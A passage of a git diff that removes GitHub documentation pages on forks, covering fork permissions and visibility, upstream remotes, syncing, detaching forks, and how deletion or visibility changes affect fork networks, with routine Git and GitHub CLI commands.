organization allows repository administrators to invite external collaborators.{% ifversion ghec or ghes %} You can add an external collaborator to a fork of an internal repository that belongs to an organization if the external collaborator also has access to the upstream repository.{% endif %} - -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, there are further restrictions on the repositories you can fork. {% ifversion ghec %}{% data reusables.enterprise-accounts.emu-forks %}{% endif %} For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% endif %} - -Organizations can allow or prevent the forking of any private repositories owned by the organization{% ifversion ghec or ghes %}, and enterprises can enforce policies to specify where members can create forks of private or internal repositories. Policies control the options available to the enterprise's organizations{% endif %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization){% ifversion fpt %}.{% else %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories).{% endif %} - -## About visibility of forks - -A fork is a new repository that shares code and visibility settings with the upstream repository. All forks of public repositories are public. You cannot change the visibility of a fork. - -All repositories belong to a repository network. A repository network contains the upstream repository, the upstream repository's direct forks, and all forks of those forks. All forks in the repository network have the same visibility setting. For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/understanding-connections-between-repositories). - -If you delete a repository or change the repository's visibility settings, you will affect the repository's forks. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility) - -If you delete a fork, any code contributions of that fork will still be accessible to the repository network. - -## About permissions of forks - -{% data reusables.repositories.private_forks_inherit_permissions %} - -Public forks do not inherit the permissions structure of the upstream repository. {% data reusables.repositories.about-giving-access-to-forks %} - -{% ifversion push-rulesets %} - -### About push rulesets for forked repositories - -{% data reusables.repositories.rulesets-push-rulesets-fork-network-information %} - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets#push-rulesets). - -{% endif %} - -### Important security considerations - -If you work with forks, or if you're the owner of a repository or organization that allows forking, it's important to be aware of the following security considerations. - -* Forks have their own permissions separate from the upstream repository. -* The owners of a repository that has been forked have read permission to all forks in the repository's network. -* Organization owners of a repository that has been forked have admin permission to forks created in personal user namespaces, including the ability to delete the fork and its branches. -* Organization owners of a repository that has been forked have read permission to forks created in organizations, but do not have the ability to delete the fork or its branches. -* Forks created in another organization will not be deleted when individual access is removed from the upstream repository. -* Commits to any repository in a network can be accessed from any repository in the same network, including the upstream repository, even after a fork is deleted. - -### About forks within an organization - -Forks within the same organization copy the collaborators and team settings of their upstream repositories. If a repository is owned by an organization: -* That organization controls the permissions of its forks. -* Any teams from the upstream permission structure that exist and are visible in the target organization or user namespace will have their permissions copied. -* Admin permissions remain with the upstream owner, except when a user forks into a different organization. -* If that repository is forked to a user namespace, the organization maintains admin permissions and any teams with access maintain access. diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md deleted file mode 100644 index 47a5f9fbb389..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Allowing changes to a pull request branch created from a fork -intro: 'For greater collaboration, you can allow commits on branches you''ve created from forks in your personal account.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork - - /articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork - - /github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork - - /github/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork -permissions: People with push access to the upstream repository of a fork in a personal account can commit to the forked branches. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Allow changes to a branch ---- -When a user creates a pull request from their fork, the user generally has the authority to decide if other users can commit to the pull request's compare branch. If the pull request author wants greater collaboration, they can grant maintainers of the upstream repository (that is, anyone with push access to the upstream repository) permission to commit to the pull request's compare branch. To learn more about upstream repositories, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -Pull request authors can give these permissions when they initially create a pull request from a fork in a personal account or after they create the pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). - -You can set commit permissions when you first create a pull request from a fork. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork). Additionally, you can modify an existing pull request to let repository maintainers make commits to your branch. - -## Enabling repository maintainer permissions on existing pull requests - -1. On {% data variables.product.github %}, navigate to the main page of the upstream repository of your pull request. -1. Under the upstream repository name, click **{% octicon "git-pull-request" aria-hidden="true" %} Pull requests**. - - ![Screenshot of the main page of a repository. In the horizontal navigation bar, a tab, labeled "Pull requests," is outlined in dark orange.](/assets/images/help/repository/repo-tabs-pull-requests-global-nav-update.png) - -1. In the list of pull requests, navigate to the pull request that you'd like to allow commits on. -{% data reusables.repositories.allow-maintainers-user-forks %} - - ![Screenshot of a pull request. On the bottom right, the "Allow edits and access to secrets by maintainers" checkbox is enabled and outlined in orange.](/assets/images/help/pull_requests/allow-edits-and-access-by-maintainers.png) - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-repository-for-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-repository-for-a-fork.md deleted file mode 100644 index 370f1f9e9bb0..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-repository-for-a-fork.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Configuring a remote repository for a fork -intro: 'You must configure a remote that points to the upstream repository in Git to [sync changes you make in a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork) with the original repository. This also allows you to sync changes made in the original repository with the fork.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/configuring-a-remote-for-a-fork - - /articles/configuring-a-remote-for-a-fork - - /github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork - - /github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork - - /github/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-repository-for-a-fork -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Configure a remote repository ---- -{% data reusables.command_line.open_the_multi_os_terminal %} -1. List the current configured remote repository for your fork. - - ```shell - $ git remote -v - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (fetch) - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (push) - ``` - -1. Specify a new remote _upstream_ repository that will be synced with the fork. - - ```shell - git remote add upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY.git - ``` - -1. Verify the new upstream repository you've specified for your fork. - - ```shell - $ git remote -v - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (fetch) - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (push) - > upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY.git (fetch) - > upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY.git (push) - ``` diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/detaching-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/detaching-a-fork.md deleted file mode 100644 index 23c7cc594e67..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/detaching-a-fork.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Detaching a fork -intro: You can disconnect a repository from its fork network by leaving the network or manually deleting the fork and recreating it without any connection to the original. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -permissions: People with admin access for a forked repository can delete the forked repository. ---- - -## Converting a fork into a standalone repository - -To turn your fork into a standalone repository, you can leave the fork network ensuring the new repository will no longer automatically sync with changes from the original repository. This is useful when you want to take the work you are doing in a different direction or maintain distinct versions. - -> [!WARNING] -> * The new repository will not retain any of its issues, pull requests, wikis, stars, watchers, comments, child forks, or other metadata that may currently be associated with your current fork. -> * All git commit metadata will be preserved. Commits may become eligible to be counted as contributions if they meet certain criteria. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account). -> * Leaving the fork network is **permanent** and the new repository **cannot** be reconnected to the fork network. - -{% ifversion ghes %} - -> [!NOTE] -> If you are unable to detach a fork, contact your site administrator. - -{% endif %} - -## Leaving the fork network - -You can only detach forks with the leave network option when: -* The fork is public -* The fork is less than 1GB -* The fork does not have any child forks attached - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the "General" settings page (which is selected by default), scroll down to the "Danger Zone" section, and click **Leave fork network**. -1. Read the warnings and click **I have read and understand these effects**. -1. To verify that you're deleting the correct repository, in the text box, type the name of the fork. -1. Click **Leave fork network**. - -While the fork is being detached, some operations will be briefly unavailable until the fork has been transitioned to a standalone repository. - -## Manually Leaving the fork network - -To turn your fork into a standalone repository, you can clone the fork, use the clone to create a new repository, and then delete the fork removing the connection to the original network. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Create a bare clone of the fork. - - ```shell - git clone --bare https://{% data variables.product.product_url %}/EXAMPLE-USER/FORK.git - ``` - -1. Delete the forked repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository).

- - > [!WARNING] - > Deleting a fork will **permanently** delete any associated pull requests and configurations. This action **cannot** be undone. - -1. Create a new repository with the same name in the same location. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. Mirror-push the repository back to the same remote URL. - - ```shell - git --git-dir FORK.git push --mirror https://{% data variables.product.product_url %}/EXAMPLE-USER/FORK.git - ``` - -1. Remove temporary local clone you created earlier. - - ```shell - rm -rf FORK.git - ``` - -For more information, see [our support page](https://support.github.com/request/fork) on forks. diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo.md deleted file mode 100644 index 0909181fdff5..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo.md +++ /dev/null @@ -1,228 +0,0 @@ ---- -title: Fork a repository -allowTitleToDifferFromFilename: true -redirect_from: - - /fork-a-repo - - /forking - - /articles/fork-a-repo - - /github/getting-started-with-github/fork-a-repo - - /github/getting-started-with-github/quickstart/fork-a-repo - - /get-started/quickstart/fork-a-repo -intro: A fork is a new repository that shares code and visibility settings with the original “upstream” repository. -permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Notifications - - Accounts ---- -## About forks - -{% data reusables.repositories.fork-definition-long %} For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks). - -### Propose changes to someone else's project - -For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you have found, you can: - -* Fork the repository. -* Make the fix. -* Submit a pull request to the project owner. - -### Use someone else's project as a starting point for your own idea. - -Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the [About the Open Source Initiative](https://opensource.org/about) on the Open Source Initiative. - -For more information about applying open source principles to your organization's development work on {% data variables.product.prodname_dotcom %}, see {% data variables.product.prodname_dotcom %}'s white paper [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/). - -When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see [Choose an open source license](https://choosealicense.com/) at choosealicense.com. - -{% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning %} - -## Prerequisites - -If you haven't yet, first set up Git and authentication with {% data variables.location.product_location %} from Git. For more information, see [AUTOTITLE](/get-started/git-basics/set-up-git). - -## Forking a repository - -{% webui %} - -You might fork a project to propose changes to the upstream repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked. - -1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository. -1. In the top-right corner of the page, click **Fork**. - - ![Screenshot of the main page of repository. A button, labeled with a fork icon and "Fork 59.3k," is outlined in dark orange.](/assets/images/help/repository/fork-button.png) -1. Under "Owner," select the dropdown menu and click an owner for the forked repository. -1. By default, forks are named the same as their upstream repositories. Optionally, to further distinguish your fork, in the "Repository name" field, type a name. -1. Optionally, in the "Description" field, type a description of your fork. -1. Optionally, select **Copy the DEFAULT branch only**. - - For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. If you do not select this option, all branches will be copied into the new fork. -1. Click **Create fork**. - -> [!NOTE] -> If you want to copy additional branches from the upstream repository, you can do so from the **Branches** page. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To create a fork of a repository, use the `gh repo fork` subcommand. - -```shell -gh repo fork REPOSITORY -``` - -To create the fork in an organization, use the `--org` flag. - -```shell -gh repo fork REPOSITORY --org "octo-org" -``` - -{% endcli %} - -{% desktop %} - -You can fork a repository on {% data variables.product.prodname_dotcom_the_website %} or in {% data variables.product.prodname_desktop %}. For information about forking on {% data variables.product.prodname_dotcom_the_website %}, see [the web browser version of this article](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo?tool=webui). - -{% data reusables.desktop.forking-a-repo %} - -{% enddesktop %} - -{% webui %} - -## Cloning your forked repository - -Right now, you have a fork of the Spoon-Knife repository, but you do not have the files in that repository locally on your computer. - -1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository. -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} -{% data reusables.command_line.change-current-directory-clone %} -1. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.github %} username instead of `YOUR-USERNAME`: - - ```shell - git clone https://{% data variables.product.product_url %}/YOUR-USERNAME/Spoon-Knife - ``` - -1. Press **Enter**. Your local clone will be created. - - ```shell - $ git clone https://{% data variables.product.product_url %}/YOUR-USERNAME/Spoon-Knife - > Cloning into `Spoon-Knife`... - > remote: Counting objects: 10, done. - > remote: Compressing objects: 100% (8/8), done. - > remote: Total 10 (delta 1), reused 10 (delta 1) - > Unpacking objects: 100% (10/10), done. - ``` - -{% endwebui %} - -{% cli %} - -## Cloning your forked repository - -Right now, you have a fork of the Spoon-Knife repository, but you do not have the files in that repository locally on your computer. - -{% data reusables.cli.cli-learn-more %} - -To create a clone of your fork, use the `--clone` flag. - -```shell -gh repo fork REPOSITORY --clone=true -``` - -{% endcli %} - -## Configuring Git to sync your fork with the upstream repository - -When you fork a project in order to propose changes to the upstream repository, you can configure Git to pull changes from the upstream repository into the local clone of your fork. - -{% webui %} - -1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository. -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change directories to the location of the fork you cloned. - * To go to your home directory, type just `cd` with no other text. - * To list the files and folders in your current directory, type `ls`. - * To go into one of your listed directories, type `cd YOUR-LISTED-DIRECTORY`. - * To go up one directory, type `cd ..`. -1. Type `git remote -v` and press **Enter**. You will see the current configured remote repository for your fork. - - ```shell - $ git remote -v - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (fetch) - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (push) - ``` - -1. Type `git remote add upstream`, and then paste the URL you copied in Step 3 and press **Enter**. It will look like this: - - ```shell - git remote add upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/Spoon-Knife.git - ``` - -1. To verify the new upstream repository you have specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the upstream repository as `upstream`. - - ```shell - $ git remote -v - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (fetch) - > origin https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-FORK.git (push) - > upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY.git (fetch) - > upstream https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY.git (push) - ``` - -Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork). - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To configure a remote repository for the forked repository, use the `--remote` flag. - -```shell -gh repo fork REPOSITORY --remote=true -``` - -To specify the remote repository's name, use the `--remote-name` flag. - -```shell -gh repo fork REPOSITORY --remote-name "main-remote-repo" -``` - -{% endcli %} - -### Editing a fork - -You can make any changes to a fork, including: - -* **Creating branches:** [_Branches_](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) allow you to build new features or test out ideas without putting your main project at risk. -* **Opening pull requests:** If you want to contribute back to the upstream repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -## Find another repository to fork - -Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %} For more information about when you can fork a repository, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-permissions-and-visibility-of-forks). - -{% ifversion fpt or ghec %}You can browse [Explore {% data variables.product.prodname_dotcom %}](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github). - -{% endif %} - -## Next steps - -You have now forked a repository, practiced cloning your fork, and configured an upstream repository. - -* For more information about cloning the fork and syncing the changes in a forked repository from your computer, see [AUTOTITLE](/get-started/git-basics/set-up-git). - -* You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. {% data reusables.getting-started.create-a-repository %} - -* {% data reusables.getting-started.being-social %} - -* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md deleted file mode 100644 index c9757f5cddea..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Working with forks -intro: 'Forks are often used in open source development on {% data variables.product.github %}.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks - - /articles/working-with-forks - - /github/collaborating-with-pull-requests/working-with-forks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-forks - - /fork-a-repo - - /about-permissions-and-visibility-of-forks - - /configuring-a-remote-repository-for-a-fork - - /syncing-a-fork - - /allowing-changes-to-a-pull-request-branch-created-from-a-fork - - /what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - - /detaching-a-fork ---- diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md deleted file mode 100644 index bed2b269b7a2..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Syncing a fork -intro: Sync a fork of a repository to keep it up-to-date with the upstream repository. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/syncing-a-fork - - /articles/syncing-a-fork - - /github/collaborating-with-issues-and-pull-requests/syncing-a-fork - - /github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork - - /pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork - - /articles/merging-an-upstream-repository-into-your-fork - - /github/collaborating-with-issues-and-pull-requests/merging-an-upstream-repository-into-your-fork - - /github/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -permissions: People with write access for a forked repository can sync the fork to the upstream repository. ---- - -## Syncing a fork branch from the web UI - -1. On {% data variables.product.github %}, navigate to the main page of the forked repository that you want to sync with the upstream repository. -1. Above the list of files, select the **Sync fork** dropdown menu. - - ![Screenshot of the main page of a fork. A dropdown menu, labeled with a sync icon and "Sync fork," is outlined in dark orange.](/assets/images/help/repository/sync-fork-dropdown.png) -1. Review the details about the commits from the upstream repository, then click **Update branch**. - -If the changes from the upstream repository cause conflicts, {% data variables.product.company_short %} will prompt you to create a pull request to resolve the conflicts. - -## Syncing a fork branch with the {% data variables.product.prodname_cli %} - -{% data reusables.cli.about-cli %} To learn more about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -To update the remote fork from its parent, use the `gh repo sync -b BRANCH-NAME` subcommand and supply your fork and branch name as arguments. - -```shell -gh repo sync owner/cli-fork -b BRANCH-NAME -``` - -If the changes from the upstream repository cause conflict then the {% data variables.product.prodname_cli %} can't sync. You can set the `--force` flag to overwrite the destination branch. - -## Syncing a fork branch from the command line - -Before you can sync your fork with an upstream repository, you must configure a remote that points to the upstream repository in Git. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-repository-for-a-fork). - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. Fetch the branches and their respective commits from the upstream repository. Commits to `BRANCH-NAME` will be stored in the local branch `upstream/BRANCH-NAME`. - - ```shell - $ git fetch upstream - > remote: Counting objects: 75, done. - > remote: Compressing objects: 100% (53/53), done. - > remote: Total 62 (delta 27), reused 44 (delta 9) - > Unpacking objects: 100% (62/62), done. - > From https://{% data variables.product.product_url %}/ORIGINAL-OWNER/ORIGINAL-REPOSITORY - > * [new branch] main -> upstream/main - ``` - -1. Check out your fork's local default branch - in this case, we use `main`. - - ```shell - $ git checkout main - > Switched to branch 'main' - ``` - -1. Merge the changes from the upstream default branch - in this case, `upstream/main` - into your local default branch. This brings your fork's default branch into sync with the upstream repository, without losing your local changes. - - ```shell - $ git merge upstream/main - > Updating a422352..5fdff0f - > Fast-forward - > README | 9 ------- - > README.md | 7 ++++++ - > 2 files changed, 7 insertions(+), 9 deletions(-) - > delete mode 100644 README - > create mode 100644 README.md - ``` - - If your local branch didn't have any unique commits, Git will perform a fast-forward. For more information, see [Basic Branching and Merging](https://git-scm.com/book/en/v2/Git-Branching-Basic-Branching-and-Merging) in the Git documentation. - - ```shell - $ git merge upstream/main - > Updating 34e91da..16c56ad - > Fast-forward - > README.md | 5 +++-- - > 1 file changed, 3 insertions(+), 2 deletions(-) - ``` - - If your local branch had unique commits, you may need to resolve conflicts. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts). - -> [!TIP] -> Syncing your fork only updates your local copy of the repository. To update your fork on {% data variables.location.product_location %}, you must [push your changes](/get-started/using-git/pushing-commits-to-a-remote-repository). diff --git a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md deleted file mode 100644 index 1777995fc2d4..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: What happens to forks when a repository is deleted or changes visibility? -intro: Deleting your repository or changing its visibility affects that repository's forks. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - - /articles/changing-the-visibility-of-a-network - - /articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - - /github/collaborating-with-issues-and-pull-requests/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility - - /github/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Deleted or changes visibility ---- -{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} - -## Deleting a private repository - -When you delete a private repository, all of its private forks are also deleted. - -## Deleting a public repository - -When you delete a public repository, the oldest, active public fork is chosen to be the new upstream repository. All other repositories are forked off of this new upstream and subsequent pull requests go to this new upstream repository. - -## Private forks and permissions - -{% data reusables.repositories.private_forks_inherit_permissions %} - -## Changing a public repository to a private repository - -If a public repository is made private, its public forks are split off into a new network. As with deleting a public repository, one of the existing public forks is chosen to be the new upstream repository and all other repositories are forked off of this new upstream. Subsequent pull requests go to this new upstream repository. - -In other words, a public repository's forks will remain public in their own separate repository network even after the upstream repository is made private. This allows the fork owners to continue to work and collaborate without interruption. If public forks were not moved into a separate network in this way, the owners of those forks would need to get the appropriate [access permissions](/get-started/learning-about-github/access-permissions-on-github) to pull changes from and submit pull requests to the (now private) upstream repository—even though they didn't need those permissions before. - -> [!WARNING] -> * Making a public repository private will permanently remove stars and watchers associated to users that will no longer have access to this repository. If you decide to make the repository public in the future, it will not be possible to restore these stars and watchers, and this will affect its repository rankings. -> * Dependency graph and {% data variables.product.prodname_dependabot_alerts %} will remain enabled with permission to perform read-only analysis on this repository. Any custom {% data variables.product.prodname_dependabot %} alert rules will be disabled unless {% data variables.product.prodname_code_security %} is enabled for this repository. -> * {% data variables.product.prodname_code_scanning_caps %} will become unavailable unless {% data variables.product.prodname_code_security %} is enabled for this repository. -> * Current forks will remain public and will be detached from this repository. - -{% ifversion ghes %} -If a public repository has anonymous Git read access enabled and the repository is made private, all of the repository's forks will lose anonymous Git read access and return to the default disabled setting. If a forked repository is made public, repository administrators can re-enable anonymous Git read access. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository). -{% endif %} - -### Deleting the private repository - -If a public repository is made private and then deleted, its public forks will continue to exist in a separate network. - -## Changing a private repository to a public repository - -When a private repository is made public, all the commits in that repository, including any commits previously pushed to private forks of that repository, will be migrated to a new public repository network and become visible to everyone. Any previously created private forks will remain private but will become disconnected from the original repository that was made public. Each private fork will become a separate private repository and create its own independent network of repositories. Any new changes made to these networks will not be accessible from the original repository that was made public. - -### Deleting the public repository - -If a private repository is made public and then deleted, its private forks will continue to exist as standalone private repositories in separate networks. - -{% ifversion ghes or ghec %} - -## Changing the visibility of an internal repository - -If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or personal account will remain private. - -### Deleting the internal repository - -If you change the visibility of an internal repository and then delete the repository, the forks will continue to exist in a separate network. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository) -* [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-forking-private-or-internal-repositories) diff --git a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md b/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md deleted file mode 100644 index 9a0af64cb18f..000000000000 --- a/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/about-commits.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: About commits -intro: You can save small groups of meaningful changes as commits. -redirect_from: - - /articles/why-are-my-commits-in-the-wrong-order - - /github/committing-changes-to-your-project/why-are-my-commits-in-the-wrong-order - - /github/committing-changes-to-your-project/about-commits - - /github/committing-changes-to-your-project/creating-and-editing-commits/about-commits - - /pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels -versions: - fpt: '*' - ghes: '*' - ghec: '*' 